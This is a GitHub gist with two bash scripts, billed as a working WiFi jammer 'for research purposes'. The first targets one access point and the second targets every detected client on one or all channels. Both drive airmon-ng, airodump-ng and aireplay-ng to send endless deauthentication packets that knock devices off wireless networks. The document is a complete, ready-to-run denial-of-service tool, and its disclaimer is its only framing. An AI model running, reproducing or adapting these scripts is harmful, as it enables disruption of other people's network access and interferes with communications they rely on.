Skip to content

Instantly share code, notes, and snippets.

@lnaia
Last active September 25, 2016 22:35
Show Gist options
  • Save lnaia/7c35f8009f73b693d391 to your computer and use it in GitHub Desktop.
Save lnaia/7c35f8009f73b693d391 to your computer and use it in GitHub Desktop.
A fully functional general purpose WiFi Jammer, for research purposes. Use it at your own risk. Inspired by https://code.google.com/p/wifijammer/downloads/detail?name=wifijammer_0.1.sh and http://julianoliver.com/output/log_2014-05-30_20-52.
#!/bin/bash
# Targeted jammer
NIC=$1 # Your wireless NIC
BSSID=$2 # Your target BSSID
if [ "$NIC" == "" ]; then
echo "No NIC defined."
exit 1
fi
if [ "$BSSID" == "" ]; then
echo "No BSSID defined."
exit 1
fi
airmon-ng stop mon0 # Pull down any lingering monitor devices
airmon-ng start $NIC # Start a monitor device
WIFI=mon0 # Default monitor card name after airmon-ng start
# get the channel from target BSSID
CHANNEL=`iwlist $NIC scan | grep "$BSSID" -A 1 | grep Channel | cut -d: -f 2`
rm *.csv 2> /dev/null
xterm -fn fixed -geom -0-0 -title "Scanning specified channel" -e "airodump-ng -c $CHANNEL -w airodumpoutput $WIFI" 2>/dev/null &
sleep 3
# Removes temp files that are no longer needed
rm *.cap 2>/dev/null
rm *.kismet.csv 2>/dev/null
rm *.netxml 2>/dev/null
mkdir stationlist 2>/dev/null
rm stationlist/*.txt 2>/dev/null
FILE="airodumpoutput*.csv"
while [ x1 ];do
sleep 5s
echo "Scanning for new stations..."
LINES=`wc -l $FILE | cut -d' ' -f 1`
STATIONS=`grep "Station MAC" $FILE -A $LINES --text | grep "$BSSID" | cut -d, -f 1`
if [ "$STATIONS" != "" ]; then
array=($STATIONS)
for station in "${array[@]}"
do
if [ ! -e stationlist/"$station".txt ];then
echo "Jamming station: $station"
xterm -fn fixed -geom -0-0 -title "Jamming $station" -e "aireplay-ng --deauth 0 -a $BSSID -c $station $WIFI --ignore-negative-one" &
touch "stationlist/$station.txt"
fi
done
fi
done
#!/bin/bash
# Jamms all devices it can detect.
NIC=$1 # Your wireless NIC
CHANNEL=$2 # Channel to silence, defaults to all
if [ "$NIC" == "" ]; then
echo "No NIC defined."
exit 1
fi
airmon-ng stop mon0 # Pull down any lingering monitor devices
airmon-ng start $NIC # Start a monitor device
WIFI=mon0 # Default monitor card name after airmon-ng start
rm *.csv 2> /dev/null
if [ "$CHANNEL" == "" ]; then
echo "No CHANNEL defined. Defaulting to all channels!"
xterm -fn fixed -geom -0-0 -title "Scanning specified channel" -e "airodump-ng -w airodumpoutput $WIFI" 2>/dev/null &
else
xterm -fn fixed -geom -0-0 -title "Scanning specified channel" -e "airodump-ng -c $CHANNEL -w airodumpoutput $WIFI" 2>/dev/null &
fi
sleep 3
# Removes temp files that are no longer needed
rm *.cap 2>/dev/null
rm *.kismet.csv 2>/dev/null
rm *.netxml 2>/dev/null
mkdir stationlist 2>/dev/null
rm stationlist/*.txt 2>/dev/null
FILE="airodumpoutput*.csv"
while [ x1 ];do
sleep 5s
echo "Scanning for new stations..."
LINES=`wc -l $FILE | cut -d' ' -f 1`
STATIONS=`grep "Station MAC" $FILE -A $LINES --text | grep -v "Station MAC" | cut -d, -f 1,6 | grep -v "not associated" | tr -d ' '`
echo "- $STATIONS -"
if [ "$STATIONS" != "" ]; then
sanitize=`echo $STATIONS | grep Binaryfile`
if [ "$sanitize" != "" ]; then
continue
fi
array=($STATIONS)
for stationpair in "${array[@]}"
do
station=`echo $stationpair | cut -d',' -f 1 | tr -d [:space:]`
bssid=`echo $stationpair | cut -d',' -f 2 | tr -d [:space:]`
control=`echo $stationpair | tr , _`
if [ "$bssid" != "" ]; then
if [ "$station" != "" ]; then
if [ ! -e stationlist/"$control".txt ];then
echo "Jamming station: $station at bssid: $bssid"
xterm -fn fixed -geom -0-0 -title "Jamming $station" -e "touch stationlist/$control.txt && aireplay-ng --deauth 0 -a $bssid -c $station $WIFI --ignore-negative-one && rm stationlist/$control.txt" &
fi
fi
fi
done
fi
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment